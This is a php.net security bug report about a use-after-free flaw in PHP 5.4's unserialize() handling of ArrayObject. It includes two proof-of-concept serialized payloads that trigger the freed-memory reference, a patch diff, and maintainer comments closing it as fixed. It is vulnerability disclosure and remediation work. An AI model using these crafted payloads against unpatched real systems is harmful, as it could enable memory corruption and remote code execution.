php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70155 Use After Free Vulnerability in unserialize() with SPLArrayObject
Submitted: 2015-07-27 14:37 UTC Modified: 2015-08-16 22:15 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-07-27 14:37 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported some similar bugs in BUG#69425, but these bugs are not be fixed and can be exploited still.

```
	if (*p!='m') {
		if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
			goto outexcept;
		}
		intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
		zval_ptr_dtor(&intern->array);
		ALLOC_INIT_ZVAL(intern->array);
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			goto outexcept;
		}
	}
	if (*p != ';') {
		goto outexcept;
	}
	++p;

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}
```

unserialize() allow to use R: or r: to set references. so attacker can set references to &intern->array and freed it, then set references via &pmembers will use that already freed memory. it is possible to execute arbitrary code remotely.

PoC1:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

PoC2:
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'ryat';
	}
}

$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-29 11:18 UTC] taoguangchen at icloud dot com
-Summary: Use After Free Vulnerability in unserialize() with SPLArrayObject/SPLObjectSto +Summary: Use After Free Vulnerability in unserialize() with SPLArrayObject -Operating System: +Operating System: *
 [2015-07-29 11:18 UTC] taoguangchen at icloud dot com
I post a patch for 5.4 series. (Test on 5.4 series)

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..d1c6c4e 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
@@ -1802,6 +1804,8 @@ SPL_METHOD(Array, unserialize)
 		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
 			goto outexcept;
 		}
+		
+		var_push_dtor(&var_hash, &intern->array);
 	}
 	if (*p != ';') {
 		goto outexcept;
@@ -1819,6 +1823,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-07-29 13:34 UTC] taoguangchen at icloud dot com
Related To: Bug #70166

to better illustrate this problem, i re-post a bug report.
 [2015-08-02 04:39 UTC] stas@php.net
I wasn't able to reproduce this problem on my setup, neither with valgrind nor with regular php, on php 5.4 with the code that is attached. How exactly do you reproduce it?
 [2015-08-02 04:39 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2015-08-02 04:42 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2015-08-02 04:42 UTC] taoguangchen at icloud dot com
plz to bug#70166
 [2015-08-16 22:15 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-08-16 22:15 UTC] stas@php.net
Looks like this is fixed by fix to #70166 in 5.4.44. Please reopen otherwise.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sun Oct 27 16:01:27 2024 UTC